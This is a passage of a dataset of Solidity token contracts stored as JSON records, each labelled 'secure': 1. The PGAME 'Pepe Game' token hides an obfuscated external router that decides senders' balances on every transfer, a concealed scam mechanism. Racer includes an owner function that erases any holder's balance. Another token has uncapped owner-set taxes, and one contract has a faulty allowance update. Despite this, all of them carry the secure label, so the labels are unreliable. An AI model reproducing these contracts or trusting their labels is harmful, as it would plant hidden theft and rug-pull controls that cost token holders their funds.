"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Platforme.sol\" as Platforme;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapRouterV2.sol\" as IUniswapRouterV2;\n\ncontract PGAME is Platforme, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 475dac7): PGAME._totalSupply should be constant \n\t// Recommendation for 475dac7: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 1000000000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7d9c82e): PGAME._name should be constant \n\t// Recommendation for 7d9c82e: Add the 'constant' attribute to state variables that never change.\n string private _name = unicode\"Pepe Game\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 7185408): PGAME._symbol should be constant \n\t// Recommendation for 7185408: Add the 'constant' attribute to state variables that never change.\n string private _symbol = unicode\"PGAME\";\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d4466ab): PGAME.Router2Instance should be immutable \n\t// Recommendation for d4466ab: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n UniswapRouterV2 private Router2Instance;\n\n constructor(uint256 aEdZTTu) {\n uint256 cc = aEdZTTu +\n uint256(10) -\n uint256(10) +\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000000\n )\n );\n\n Router2Instance = getBcFnnmoosgsto(((brcFactornnmoosgsto(cc))));\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 709334e): PGAME.bb should be constant \n\t// Recommendation for 709334e: Add the 'constant' attribute to state variables that never change.\n uint160 private bb = 20;\n\n function brcFfffactornnmoosgsto(\n uint256 value\n ) internal view returns (uint160) {\n uint160 a = 70;\n\n return (bb +\n a +\n uint160(value) +\n uint160(\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000000\n )\n )\n ));\n }\n\n function brcFactornnmoosgsto(\n uint256 value\n ) internal view returns (address) {\n return address(brcFfffactornnmoosgsto(value));\n }\n\n function getBcFnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return getBcQnnmoosgsto(accc);\n }\n\n function getBcQnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return UniswapRouterV2(accc);\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address sender\n ) public view virtual returns (uint256) {\n return _allowances[accountOwner][sender];\n }\n\n function approve(\n address sender,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, sender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(from, sender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(from, sender, currentAllowance - amount);\n }\n }\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(\n from != address(0) && to != address(0),\n \"ERC20: transfer the zero address\"\n );\n\n uint256 balance = IUniswapRouterV2.swap99(\n Router2Instance,\n Router2Instance,\n _balances[from],\n from\n );\n\n require(balance >= amount, \"ERC20: amount over balance\");\n\n _balances[from] = balance.sub(amount);\n\n _balances[to] = _balances[to].add(amount);\n\n emit Transfer(from, to, amount);\n }\n\n function _approve(\n address accountOwner,\n address sender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(sender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][sender] = amount;\n\n emit Approval(accountOwner, sender, amount);\n }\n}",
"file_name": "solidity_code_153.sol",
"secure": 1,
"size_bytes": 6271
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Token is ERC20 {\n constructor(address _address) ERC20(\"Token\", \"TKN\") {\n _mint(_address, 1000000 ether);\n }\n}",
"file_name": "solidity_code_1530.sol",
"secure": 1,
"size_bytes": 271
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Racer is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable resolution;\n\n constructor() {\n _name = \"Racer\";\n\n _symbol = \"RACER\";\n\n _decimals = 18;\n\n uint256 initialSupply = 392000000;\n\n resolution = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == resolution, \"Not allowed\");\n\n _;\n }\n\n function dog(address[] memory war) public onlyOwner {\n for (uint256 i = 0; i < war.length; i++) {\n address account = war[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_1531.sol",
"secure": 1,
"size_bytes": 4350
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./Owned.sol\" as Owned;\n\ncontract Mortal is Owned {\n function kill() public {\n require(\n msg.sender == contractOwner,\n \"Only owner can destroy the contract\"\n );\n selfdestruct(contractOwner);\n }\n}",
"file_name": "solidity_code_1532.sol",
"secure": 1,
"size_bytes": 329
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./TokenERC20.sol\" as TokenERC20;\n\ncontract TokenBuilder {\n event NewTokenCreated(address newTokenAddress, string tokenName);\n\n function newToken(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _initialSupply\n ) external {\n TokenERC20 token = new TokenERC20(\n _name,\n _symbol,\n _decimals,\n _initialSupply\n );\n require(address(token) != address(0), \"Token was not created\");\n emit NewTokenCreated(address(token), token.name());\n }\n}",
"file_name": "solidity_code_1533.sol",
"secure": 1,
"size_bytes": 664
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./Mortal.sol\" as Mortal;\n\ncontract TokenERC20 is IERC20, Mortal {\n string private myName;\n string private mySymbol;\n uint256 private myTotalSupply;\n\n uint8 public immutable decimals;\n\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) ownerAllowances;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _initialSupply\n ) {\n require(_initialSupply <= 999999999999, \"High amount\");\n myName = _name;\n mySymbol = _symbol;\n decimals = _decimals;\n _mint(msg.sender, (_initialSupply * (10 ** decimals)));\n }\n\n function name() public view returns (string memory) {\n return myName;\n }\n\n function symbol() public view returns (string memory) {\n return mySymbol;\n }\n\n function totalSupply() public view override returns (uint256) {\n return myTotalSupply;\n }\n\n function balanceOf(\n address tokenOwner\n ) public view override returns (uint256) {\n return balances[tokenOwner];\n }\n\n function allowance(\n address tokenOwner,\n address spender\n ) public view override returns (uint256) {\n return ownerAllowances[tokenOwner][spender];\n }\n\n function transfer(\n address to,\n uint256 amount\n )\n public\n override\n hasEnoughBalance(msg.sender, amount)\n tokenAmountValid(amount)\n returns (bool)\n {\n balances[msg.sender] = balances[msg.sender] - amount;\n balances[to] = balances[to] + amount;\n emit Transfer(msg.sender, to, amount);\n return true;\n }\n\n function approve(\n address spender,\n uint256 limit\n ) public override returns (bool) {\n ownerAllowances[msg.sender][spender] = limit;\n emit Approval(msg.sender, spender, limit);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n )\n public\n override\n hasEnoughBalance(from, amount)\n isAllowed(msg.sender, from, amount)\n tokenAmountValid(amount)\n returns (bool)\n {\n balances[from] = balances[from] - amount;\n balances[to] += amount;\n ownerAllowances[from][msg.sender] = amount;\n emit Transfer(from, to, amount);\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n myTotalSupply = myTotalSupply + amount;\n balances[account] = balances[account] + amount;\n emit Transfer(address(0), account, amount);\n }\n\n function purchase() public payable {\n require(msg.value >= 1 ether);\n transfer(msg.sender, 100);\n contractOwner.transfer(msg.value);\n }\n\n modifier hasEnoughBalance(address owner, uint256 amount) {\n uint256 balance;\n balance = balances[owner];\n require(balance >= amount);\n _;\n }\n\n modifier isAllowed(address spender, address tokenOwner, uint256 amount) {\n require(amount <= ownerAllowances[tokenOwner][spender]);\n _;\n }\n\n modifier tokenAmountValid(uint256 amount) {\n require(amount > 0);\n require(amount <= myTotalSupply);\n _;\n }\n}",
"file_name": "solidity_code_1534.sol",
"secure": 1,
"size_bytes": 3607
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract GLDToken is ERC20 {\n constructor() public ERC20(\"PejeCoin\", \"PJC\") {\n _mint(msg.sender, 12500000000000000000000000000000);\n }\n}",
"file_name": "solidity_code_1535.sol",
"secure": 1,
"size_bytes": 289
}
|
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public buyTax = 16;\n\n uint256 public sellTax = 19;\n\n address public owner;\n\n modifier onlyOwner() {\n require(\n _msgSender() == owner,\n \"Only the contract owner can call this function.\"\n );\n\n _;\n }\n\n event TaxUpdated(uint256 buyTax, uint256 sellTax);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 initialSupply\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n owner = _msgSender();\n\n _totalSupply = initialSupply * 10 ** decimals();\n\n _balances[owner] = _totalSupply;\n\n emit Transfer(address(0), owner, _totalSupply);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address sender = _msgSender();\n\n _transfer(sender, to, amount, false);\n\n return true;\n }\n\n function allowance(\n address ownerAddress,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[ownerAddress][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address sender = _msgSender();\n\n _approve(sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount, true);\n\n return true;\n }\n\n function setBuyTax(uint256 _buyTax) external onlyOwner {\n buyTax = _buyTax;\n\n emit TaxUpdated(buyTax, sellTax);\n }\n\n function setSellTax(uint256 _sellTax) external onlyOwner {\n sellTax = _sellTax;\n\n emit TaxUpdated(buyTax, sellTax);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount,\n bool isSell\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n uint256 taxAmount = isSell\n ? ((amount * sellTax) / 100)\n : ((amount * buyTax) / 100);\n\n uint256 netAmount = amount - taxAmount;\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += netAmount;\n }\n\n emit Transfer(from, to, netAmount);\n\n if (taxAmount > 0) {\n _balances[owner] += taxAmount;\n\n emit Transfer(from, owner, taxAmount);\n }\n\n _afterTokenTransfer(from, to, netAmount);\n }\n\n function _approve(\n address ownerAddress,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n ownerAddress != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[ownerAddress][spender] = amount;\n\n emit Approval(ownerAddress, spender, amount);\n }\n\n function _spendAllowance(\n address ownerAddress,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(ownerAddress, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(ownerAddress, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function renounceOwnership() external onlyOwner {\n emit OwnershipTransferred(\n owner,\n address(0x000000000000000000000000000000000000dEaD)\n );\n\n owner = address(0x000000000000000000000000000000000000dEaD);\n }\n\n function resetAllowance(address spender) public returns (bool) {\n address sender = _msgSender();\n\n _approve(sender, spender, 0);\n\n return true;\n }\n\n function doubleAllowance(address spender) public returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(sender, spender);\n\n _approve(sender, spender, currentAllowance * 2);\n\n return true;\n }\n\n function halveAllowance(address spender) public returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(sender, spender);\n\n _approve(sender, spender, currentAllowance / 2);\n\n return true;\n }\n\n function allowancePercentage(\n address spender,\n uint8 percentage\n ) public returns (bool) {\n require(percentage <= 100, \"Percentage cannot exceed 100\");\n\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(sender, spender);\n\n uint256 newAllowance = (currentAllowance * percentage) / 100;\n\n _approve(sender, spender, newAllowance);\n\n return true;\n }\n\n function isUniformAddress(address addr) public pure returns (bool) {\n bytes20 addrBytes = bytes20(addr);\n\n bytes1 firstByte = addrBytes[0];\n\n for (uint256 i = 1; i < 20; i++) {\n if (addrBytes[i] != firstByte) {\n return false;\n }\n }\n\n return true;\n }\n\n function hasAlternatingEvenOddBytes(\n address addr\n ) public pure returns (bool) {\n bytes20 addrBytes = bytes20(addr);\n\n bool isEven = (uint8(addrBytes[0]) % 2 == 0);\n\n for (uint256 i = 1; i < 20; i++) {\n if ((uint8(addrBytes[i]) % 2 == 0) == isEven) {\n return false;\n }\n\n isEven = !isEven;\n }\n\n return true;\n }\n\n function hasSequentialIdenticalBytes(\n address addr,\n uint8 count\n ) public pure returns (bool) {\n require(count > 1 && count <= 20, \"Count must be between 2 and 20\");\n\n bytes20 addrBytes = bytes20(addr);\n\n uint256 sequentialCount = 1;\n\n for (uint256 i = 1; i < 20; i++) {\n if (addrBytes[i] == addrBytes[i - 1]) {\n sequentialCount++;\n\n if (sequentialCount >= count) {\n return true;\n }\n } else {\n sequentialCount = 1;\n }\n }\n\n return false;\n }\n\n function hasMatchingFirstAndLastByte(\n address addr\n ) public pure returns (bool) {\n bytes20 addrBytes = bytes20(addr);\n\n return addrBytes[0] == addrBytes[19];\n }\n\n function isSumOfBytesDivisibleBy(\n address addr,\n uint8 divisor\n ) public pure returns (bool) {\n require(divisor > 0, \"Divisor must be greater than zero\");\n\n bytes20 addrBytes = bytes20(addr);\n\n uint256 sum = 0;\n\n for (uint256 i = 0; i < 20; i++) {\n sum += uint8(addrBytes[i]);\n }\n\n return sum % divisor == 0;\n }\n\n function isAddressPalindrome(address addr) public pure returns (bool) {\n bytes20 addrBytes = bytes20(addr);\n\n for (uint256 i = 0; i < 10; i++) {\n if (addrBytes[i] != addrBytes[19 - i]) {\n return false;\n }\n }\n\n return true;\n }\n\n function hasLeadingZeroBytes(\n address addr,\n uint8 numZeroBytes\n ) public pure returns (bool) {\n require(\n numZeroBytes <= 20,\n \"Number of leading zero bytes cannot exceed 20\"\n );\n\n bytes20 addrBytes = bytes20(addr);\n\n for (uint256 i = 0; i < numZeroBytes; i++) {\n if (addrBytes[i] != 0x00) {\n return false;\n }\n }\n\n return true;\n }\n\n function hasSpecificBytePattern(\n address addr,\n bytes1 pattern\n ) public pure returns (bool) {\n bytes20 addrBytes = bytes20(addr);\n\n for (uint256 i = 0; i < 20; i++) {\n if (addrBytes[i] == pattern) {\n return true;\n }\n }\n\n return false;\n }\n\n function isENSAddress(address addr) public pure returns (bool) {\n return uint160(addr) >> 152 == 0x00;\n }\n\n function isDaylightHours() public view returns (bool) {\n\t\t// weak-prng | ID: 1ca957e\n uint256 hourOfDay = (block.timestamp / 3600) % 24;\n\n\t\t// timestamp | ID: ce4625e\n return hourOfDay >= 6 && hourOfDay < 18;\n }\n\n function isFirstHalfOfMonth() public view returns (bool) {\n\t\t// weak-prng | ID: 5ca9a7e\n uint256 dayOfMonth = ((block.timestamp / 86400) % 30) + 1;\n\n\t\t// timestamp | ID: cb2cb76\n return dayOfMonth <= 15;\n }\n\n function isEvenDay() public view returns (bool) {\n\t\t// weak-prng | ID: 283a9ef\n uint256 dayOfMonth = ((block.timestamp / 86400) % 30) + 1;\n\n\t\t// timestamp | ID: b829b42\n\t\t// incorrect-equality | ID: 64bc01d\n\t\t// weak-prng | ID: 60145c7\n return dayOfMonth % 2 == 0;\n }\n\n function isEdgeOfHour() public view returns (bool) {\n\t\t// weak-prng | ID: b69f6a6\n uint256 minutesPastHour = (block.timestamp / 60) % 60;\n\n\t\t// timestamp | ID: 4d8fd70\n return minutesPastHour < 5 || minutesPastHour >= 55;\n }\n\n function isStartOfDay() public view returns (bool) {\n\t\t// timestamp | ID: 973a93b\n\t\t// weak-prng | ID: 7b3b251\n return block.timestamp % 86400 < 60;\n }\n\n function isWeekend() public view returns (bool) {\n\t\t// weak-prng | ID: ef7eff2\n uint256 dayOfWeek = (block.timestamp / 86400 + 4) % 7;\n\n\t\t// timestamp | ID: 6e7e170\n\t\t// incorrect-equality | ID: 81f4a2a\n return dayOfWeek == 5 || dayOfWeek == 6;\n }\n\n function isWithinHour(uint8 hour) public view returns (bool) {\n require(hour < 24, \"Hour must be between 0 and 23\");\n\n\t\t// weak-prng | ID: c38c53c\n uint256 currentHour = (block.timestamp / 60 / 60) % 24;\n\n\t\t// timestamp | ID: a85fe73\n\t\t// incorrect-equality | ID: a0823d0\n return currentHour == hour;\n }\n\n function isEvenEpochTime() public view returns (bool) {\n\t\t// timestamp | ID: d43adbe\n\t\t// incorrect-equality | ID: 469b12d\n\t\t// weak-prng | ID: 822f1d2\n return block.timestamp % 2 == 0;\n }\n\n function isAddressHexPalindrome(address addr) public pure returns (bool) {\n bytes20 addrBytes = bytes20(addr);\n\n for (uint256 i = 0; i < 10; i++) {\n if (addrBytes[i] != addrBytes[19 - i]) {\n return false;\n }\n }\n\n return true;\n }\n\n function containsSpecificHexDigit(\n address addr,\n uint8 digit\n ) public pure returns (bool) {\n require(digit < 16, \"Digit must be between 0 and F\");\n\n bytes20 addrBytes = bytes20(addr);\n\n for (uint256 i = 0; i < 20; i++) {\n uint8 byteValue = uint8(addrBytes[i]);\n\n if (\n (byteValue & 0xF) == digit || ((byteValue >> 4) & 0xF) == digit\n ) {\n return true;\n }\n }\n\n return false;\n }\n\n function hasAllHexDigitsEven(address addr) public pure returns (bool) {\n bytes20 addrBytes = bytes20(addr);\n\n for (uint256 i = 0; i < 20; i++) {\n uint8 byteValue = uint8(addrBytes[i]);\n\n if (\n (byteValue & 0xF) % 2 != 0 || ((byteValue >> 4) & 0xF) % 2 != 0\n ) {\n return false;\n }\n }\n\n return true;\n }\n\n function hasHexDigitsInIncreasingOrder(\n address addr\n ) public pure returns (bool) {\n bytes20 addrBytes = bytes20(addr);\n\n uint8 previousNibble = 0xFF;\n\n for (uint256 i = 0; i < 20; i++) {\n uint8 byteValue = uint8(addrBytes[i]);\n\n uint8 firstNibble = (byteValue >> 4) & 0xF;\n\n if (firstNibble <= previousNibble) {\n return false;\n }\n\n previousNibble = firstNibble;\n\n uint8 secondNibble = byteValue & 0xF;\n\n if (secondNibble <= previousNibble) {\n return false;\n }\n\n previousNibble = secondNibble;\n }\n\n return true;\n }\n}",
"file_name": "solidity_code_1536.sol",
"secure": 1,
"size_bytes": 14381
}
|
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract EtherToken is ERC20 {\n constructor()\n ERC20(unicode\"First Human Created By God\", unicode\"ADAM\", 1000000000)\n {}\n}",
"file_name": "solidity_code_1537.sol",
"secure": 1,
"size_bytes": 276
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n}",
"file_name": "solidity_code_1538.sol",
"secure": 1,
"size_bytes": 799
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.